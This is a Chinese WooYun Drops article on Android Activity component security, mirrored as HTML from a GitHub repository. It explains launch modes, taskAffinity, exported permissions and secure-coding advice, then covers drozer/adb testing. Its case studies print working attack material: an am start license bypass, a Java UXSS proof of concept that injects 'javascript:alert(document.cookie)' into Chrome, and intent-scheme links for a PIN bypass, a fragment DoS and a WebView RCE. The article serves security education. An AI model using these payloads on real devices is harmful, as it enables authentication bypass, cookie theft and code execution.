forked from Trietptm-on-Security/WooYun-2
-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathAndroid Activtity Security.html
389 lines (253 loc) · 129 KB
/
Android Activtity Security.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
<html>
<head>
<title>Android Activtity Security - 瘦蛟舞</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
</head>
<body>
<h1>原文地址:<a href="http://drops.wooyun.org/tips/3936">http://drops.wooyun.org/tips/3936</a></h1>
<p>
<h2>0x00 科普</h2>
<hr />
<p>Android每一个Application都是由Activity、Service、content Provider和Broadcast Receiver等Android的基本组件所组成,其中Activity是实现应用程序的主体,它承担了大量的显示和交互工作,甚至可以理解为一个"界面"就是一个Activity。</p>
<p>Activity是为用户操作而展示的可视化用户界面。比如说,一个activity可以展示一个菜单项列表供用户选择,或者显示一些包含说明的照片。一个短消息应用程序可以包括一个用于显示做为发送对象的联系人的列表的activity,一个给选定的联系人写短信的activity以及翻阅以前的短信和改变设置的activity。尽管它们一起组成了一个内聚的用户界面,但其中每个activity都与其它的保持独立。每个都是以Activity类为基类的子类实现。</p>
<p>一个应用程序可以只有一个activity,或如刚才提到的短信应用程序那样,包含很多个。每个activity的作用,以及其数目,自然取决于应用程序及其设计。一般情况下,总有一个应用程序被标记为用户在应用程序启动的时候第一个看到的。从一个activity转向另一个的方式是靠当前的activity启动下一个。</p>
<!--more-->
<h2>0x01 知识要点</h2>
<hr />
<p>参考:<a href="http://developer.android.com/guide/components/activities.html">http://developer.android.com/guide/components/activities.html</a></p>
<p><strong>生命周期</strong></p>
<p><img src="http://static.wooyun.org/drops/20141117/201411171046activity_lifecycle.png" alt="" /></p>
<p><strong>启动方式</strong></p>
<p>显示启动</p>
<p>配置文件中注册组件</p>
<pre><code><activity android:name=".ExampleActivity" android:icon="@drawable/app_icon">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</code></pre>
<p>直接使用intent对象指定application以及activity启动</p>
<pre><code>Intent intent = new Intent(this, ExampleActivity.class);
startActivity(intent);
</code></pre>
<blockquote>
<p>未配置intent-filter的action属性,activity只能使用显示启动。</p>
<p>私有Activity推荐使用显示启动。</p>
</blockquote>
<p>隐式启动</p>
<pre><code>Intent intent = new Intent(Intent.ACTION_SEND);
intent.putExtra(Intent.EXTRA_EMAIL, recipientArray);
startActivity(intent);
</code></pre>
<p><strong>加载模式launch mode</strong></p>
<p>Activity有四种加载模式:</p>
<ul>
<li><strong>standard</strong>:默认行为。每次启动一个activity,系统都会在目标task新建一个实例。</li>
<li><strong>singleTop</strong>:如果目标activity的实例已经存在于目标task的栈顶,系统会直接使用该实例,并调用该activity的onNewIntent()(不会重新create)</li>
<li><strong>singleTask</strong>:在一个新任务的栈顶创建activity的实例。如果实例已经存在,系统会直接使用该实例,并调用该activity的onNewIntent()(不会重新create)</li>
<li><strong>singleInstance</strong>:和"singleTask"类似,但在目标activity的task中不会再运行其他的activity,在那个task中永远只有一个activity。</li>
</ul>
<p>设置的位置在AndroidManifest.xml文件中activity元素的android:launchMode 属性:</p>
<pre><code><activity android:name="ActB" android:launchMode="singleTask"></activity>
</code></pre>
<p>Activity launch mode 用于控制创建task和Activity实例。默认“standard“模式。Standard模式一次启动即会生成一个新的Activity实例并且不会创建新的task,被启动的Activity和启动的Activity在同一个栈中。当创建新的task时,intent中的内容有可能被恶意应用读取所以建议若无特别需求使用默认的standard模式即不配置launch mode属性。launchMode能被Intent 的flag覆盖。</p>
<p><strong>taskAffinity</strong></p>
<p>android系统中task管理Activity。Task的命名取决于root Activity的affinity。</p>
<p>默认情况下,app中的每个Activity都使用app的包名作为affinity。而Task的分配取决于app,故默认情况下一个app中所有的Activity属于同一task。要改变task的分配,可以在AndroidManifest.xml文件中设置affinity的值,但是这样做会有不同task启动Activity携带的intent中的信息被其他应用读取的风险。</p>
<p><strong>FLAG_ACTIVITY_NEW_TASK</strong></p>
<p>intent flag中一个重要的flag</p>
<p>启动Activity时通过setFlags()或者addFlags()方法设置intent的flags属性能够改变launch mode,FLAG_ACTIVITY_NEW_TASK标记代表创建新的task(被启动的Activity既不在前台也不在后台)。FLAG_ACTIVITY_MULTIPLE_TASK标记能和FLAG_ACTIVITY_NEW_TASK同时设置。这种情况下必会创建的task,所以intent中不应携带敏感数据。</p>
<p><strong>Task</strong></p>
<p>stack:Activity承担了大量的显示和交互工作,从某种角度上将,我们看见的应用程序就是许多个Activity的组合。为了让这许多 Activity协同工作而不至于产生混乱,Android平台设计了一种堆栈机制用于管理Activity,其遵循先进后出的原则,系统总是显示位于栈顶的Activity,位于栈顶的Activity也就是最后打开的Activity。</p>
<p>Task:是指将相关的Activity组合到一起,以Activity Stack的方式进行管理。从用户体验上讲,一个“应用程序”就是一个Task,但是从根本上讲,一个Task是可以有一个或多个Android Application组成的</p>
<p>如果用户离开一个task很长时间,系统会清理栈顶以下的activity,这样task被从新打开时,栈顶activity就被还原了。</p>
<p><img src="http://static.wooyun.org/drops/20141117/201411171045task2.png" alt="" /></p>
<p><strong>Intent Selector</strong></p>
<p>多个Activity具有相同action时,当此调用此action时会弹出一个选择器供用户选择。</p>
<p><strong>权限</strong></p>
<pre><code>android:exported
</code></pre>
<p>一个Activity组件能否被外部应用启动取决于此属性,设置为true时Activity可以被外部应用启动,设置为false则不能,此时Activity只能被自身app启动。(同user id或者root也能启动)</p>
<p>没有配置intent-filter的action属性exported默认为false(没有filter只能通过明确的类名来启动activity故相当于只有程序本身能启动),配置了intent-filter的action属性exported默认为true。</p>
<p>exported属性只是用于限制Activity是否暴露给其他app,通过配置文件中的权限申明也可以限制外部启动activity。</p>
<pre><code>android:protectionLevel
</code></pre>
<p><a href="http://developer.android.com/intl/zh-cn/guide/topics/manifest/permission-element.html">http://developer.android.com/intl/zh-cn/guide/topics/manifest/permission-element.html</a></p>
<p><img src="http://static.wooyun.org/drops/20141117/201411171045permission.png" alt="" /></p>
<p><img src="http://static.wooyun.org/drops/20141117/201411171045permission2.jpg" alt="" /></p>
<p>normal:默认值。低风险权限,只要申请了就可以使用,安装时不需要用户确认。</p>
<p>dangerous:像WRITE_SETTING和SEND_SMS等权限是有风险的,因为这些权限能够用来重新配置设备或者导致话费。使用此protectionLevel来标识用户可能关注的一些权限。Android将会在安装程序时,警示用户关于这些权限的需求,具体的行为可能依据Android版本或者所安装的移动设备而有所变化。</p>
<p>signature:这些权限仅授予那些和本程序应用了相同密钥来签名的程序。</p>
<p>signatureOrSystem:与signature类似,除了一点,系统中的程序也需要有资格来访问。这样允许定制Android系统应用也能获得权限,这种保护等级有助于集成系统编译过程。</p>
<pre><code><!-- *** POINT 1 *** Define a permission with protectionLevel="signature" -->
<permission
android:name="org.jssec.android.permission.protectedapp.MY_PERMISSION"
android:protectionLevel="signature" />
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<!-- *** POINT 2 *** For a component, enforce the permission with its permission attribute -->
<activity
android:name=".ProtectedActivity"
android:exported="true"
android:label="@string/app_name"
android:permission="org.jssec.android.permission.protectedapp.MY_PERMISSION" >
<!-- *** POINT 3 *** If the component is an activity, you must define no intent-filter -->
</activity>
</code></pre>
<p><strong>关键方法</strong></p>
<ul>
<li>onCreate(Bundle savedInstanceState)</li>
<li>setResult(int resultCode, Intent data)</li>
<li>startActivity(Intent intent)</li>
<li>startActivityForResult(Intent intent, int requestCode)</li>
<li>onActivityResult(int requestCode, int resultCode, Intent data)</li>
<li>setResult (int resultCode, Intent data)</li>
<li>getStringExtra (String name)</li>
<li>addFlags(int flags)</li>
<li>setFlags(int flags)</li>
<li>setPackage(String packageName)</li>
<li>getAction()</li>
<li>setAction(String action)</li>
<li>getData()</li>
<li>setData(Uri data)</li>
<li>getExtras()</li>
<li>putExtra(String name, String value)</li>
</ul>
<h2>0x02 Activity分类</h2>
<hr />
<p>Activity类型和使用方式决定了其风险和防御方式,故将Activity分类如下: Private、Public、Parter、In-house</p>
<p><img src="http://static.wooyun.org/drops/20141117/201411171045types.jpg" alt="" /></p>
<h3>private activity</h3>
<hr />
<p>私有Activity不应被其他应用启动相对是安全的</p>
<p>创建activity时:</p>
<p>1、不指定taskAffinity //task管理activity。task的名字取决于根activity的affinity。默认设置中Activity使用包名做为affinity。task由app分配,所以一个应用的Activity在默认情况下属于相同task。跨task启动Activity的intent有可能被其他app读取到。</p>
<p>2、不指定lunchMode //默认standard,建议使用默认。创建新task时有可能被其他应用读取intent的内容。</p>
<p>3、设置exported属性为false</p>
<p>4、谨慎处理从intent中接收的数据,不管是否内部发送的intent</p>
<p>5、敏感信息只能在应用内部操作</p>
<p>使用activity时:</p>
<p>6、开启activity时不设置FLAG_ACTIVITY_NEW_TASK标签 //FLAG_ACTIVITY_NEW_TASK标签用于创建新task(被启动的Activity并未在栈中)。</p>
<p>7、开启应用内部activity使用显示启动的方式</p>
<p>8、当putExtra()包含敏感信息目的应是app内的activity</p>
<p>9、谨慎处理返回数据,即可数据来自相同应用</p>
<h3>public activity</h3>
<hr />
<p>公开暴露的Activity组件,可以被任意应用启动</p>
<p>创建activity:</p>
<p>1、设置exported属性为true</p>
<p>2、谨慎处理接收的intent</p>
<p>3、有返回数据时不应包含敏感信息</p>
<p>使用activity:</p>
<p>4、不应发送敏感信息</p>
<p>5、当收到返回数据时谨慎处理</p>
<p>Parter、in-house部分参阅<a href="http://www.jssec.org/dl/android_securecoding_en.pdf">http://www.jssec.org/dl/android_securecoding_en.pdf</a></p>
<p><strong>安全建议</strong></p>
<ul>
<li>app内使用的私有Activity不应配置intent-filter,如果配置了intent-filter需设置exported属性为false。</li>
<li>使用默认taskAffinity</li>
<li>使用默认launchMode</li>
<li>启动Activity时不设置intent的FLAG_ACTIVITY_NEW_TASK标签</li>
<li>谨慎处理接收的intent以及其携带的信息</li>
<li>签名验证内部(in-house)app</li>
<li>当Activity返回数据时候需注意目标Activity是否有泄露信息的风险</li>
<li>目的Activity十分明确时使用显示启动</li>
<li>谨慎处理Activity返回的数据,目的Activity返回的数据有可能是恶意应用伪造的</li>
<li>验证目标Activity是否恶意app,以免受到intent欺骗,可用hash签名验证</li>
<li>When Providing an Asset Secondhand, the Asset should be Protected with the Same Level of Protection</li>
<li>尽可能的不发送敏感信息,应考虑到启动public Activity中intent的信息均有可能被恶意应用窃取的风险</li>
</ul>
<h2>0x04 测试方法</h2>
<hr />
<p>查看activity:</p>
<ul>
<li>反编译查看配置文件AndroidManifest.xml中activity组件(关注配置了intent-filter的及未设置export=“false”的)</li>
<li>直接用RE打开安装后的app查看配置文件</li>
<li>Drozer扫描:run app.activity.info -a packagename</li>
<li>动态查看:logcat设置filter的tag为ActivityManager</li>
</ul>
<p>启动activity:</p>
<ul>
<li>adb shell:am start -a action -n package/componet</li>
<li>drozer: run app.activity.start --action android.action.intent.VIEW ...</li>
<li>自己编写app调用startActiviy()或startActivityForResult()</li>
<li>浏览器intent scheme远程启动:http://drops.wooyun.org/tips/2893</li>
</ul>
<h2>0x05 案例</h2>
<hr />
<p><strong>案例1:绕过本地认证</strong></p>
<p> <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2014-048502">WooYun: 华为网盘android客户端本地密码绕过(非root也可以)</a> </p>
<p>绕过McAfee的key验证,免费激活。</p>
<pre><code>$ am start -a android.intent.action.MAIN -n com.wsandroid.suite/com.mcafee.main.MfeMain
</code></pre>
<p><img src="http://static.wooyun.org/drops/20141117/201411171045mcafee.png" alt="" /></p>
<p><strong>案例2:本地拒绝服务</strong></p>
<p> <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2014-060423">WooYun: 快玩浏览器android客户端本地拒绝服务</a> </p>
<p> <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2013-036581">WooYun: 雪球android客户端本地拒绝服务漏洞</a> </p>
<p> <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2014-048176">WooYun: Tencent Messenger(QQ) Dos vulnerability(critical)</a> </p>
<p> <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2014-048501">WooYun: Tencent WeiBo multiple Dos vulnerabilities(critical)</a> </p>
<p> <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2014-077688">WooYun: Android原生的Settings应用存在必现崩溃问题(可造成拒绝服务攻击)</a> (涉及fragment)</p>
<p><strong>案例3:界面劫持</strong></p>
<p> <a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2012-05478">WooYun: android利用悬浮窗口实现界面劫持钓鱼盗号</a> </p>
<p><strong>案例4:UXSS</strong></p>
<p>漏洞存在于Chrome Android版本v18.0.1025123,class "com.google.android.apps.chrome.SimpleChromeActivity" 允许恶意应用注入js代码到任意域. 部分 AndroidManifest.xml配置文件如下</p>
<pre><code><activity android:name="com.google.android.apps.chrome.SimpleChromeActivity" android:launchMode="singleTask" android:configChanges="keyboard|keyboardHidden|orientation|screenSize">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
</code></pre>
<p>Class "com.google.android.apps.chrome.SimpleChromeActivity" 配置 <intent-filter>但是未设置 "android:exported" 为 "false". 恶意应用先调用该类并设置data为” http://google.com” 再次调用时设置data为恶意js例如'javascript:alert(document.cookie)', 恶意代码将在http://google.com域中执行. "com.google.android.apps.chrome.SimpleChromeActivity" class 可以通过Android api或者am(activityManager)打开. POC如下</p>
<pre><code>public class TestActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent i = new Intent();
ComponentName comp = new ComponentName(
"com.android.chrome",
"com.google.android.apps.chrome.SimpleChromeActivity");
i.setComponent(comp);
i.setAction("android.intent.action.VIEW");
Uri data = Uri.parse("http://google.com");
i.setData(data);
startActivity(i);
try {
Thread.sleep(5000);
}
catch (Exception e) {}
data = Uri.parse("javascript:alert(document.cookie)");
i.setData(data);
startActivity(i);
}
}
</code></pre>
<p><strong>案例5:隐式启动intent包含敏感数据</strong></p>
<p>暂缺可公开案例,攻击模型如下图。</p>
<p><img src="http://static.wooyun.org/drops/20141117/201411171045selector.jpg" alt="" /></p>
<p><strong>案例6:Fragment注入(绕过PIN+拒绝服务)</strong></p>
<p>Fragment这里只提一下,以后可能另写一篇。</p>
<pre><code><a href="intent:#Intent;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;launchFlags=0x00008000;SEL;action=android.settings.SETTINGS;end">
16、bypass Pin android 3.0-4.3 (selector)
</a><br>
</code></pre>
<p><img src="http://static.wooyun.org/drops/20141117/201411171051pin.png" alt="" /></p>
<pre><code><a href="intent:#Intent;S.:android:show_fragment=XXXX;launchFlags=0x00008000;SEL;component=com.android.settings/com.android.settings.Settings;end">
17、fragment dos android 4.4 (selector)
</a><br>
</code></pre>
<p><img src="http://static.wooyun.org/drops/20141117/201411171045fragdos.jpg" alt="" /></p>
<p><strong>案例7:webview RCE</strong></p>
<pre><code><a href="intent:#Intent;component=com.gift.android/.activity.WebViewIndexActivity;S.url=http://drops.wooyun.org/webview.html;S.title=WebView;end">
15、驴妈妈代码执行(fixed)
</a><br>
</code></pre>
<p><img src="http://static.wooyun.org/drops/20141117/201411171051lvmm.jpg" alt="" /></p>
<p><img src="http://static.wooyun.org/20141117/2014111703585555826.jpg" alt="" /></p>
<h2>0x06 参考</h2>
<hr />
<p><a href="http://www.jssec.org/dl/android_securecoding_en.pdf">http://www.jssec.org/dl/android_securecoding_en.pdf</a></p> </p>
</body>
</html>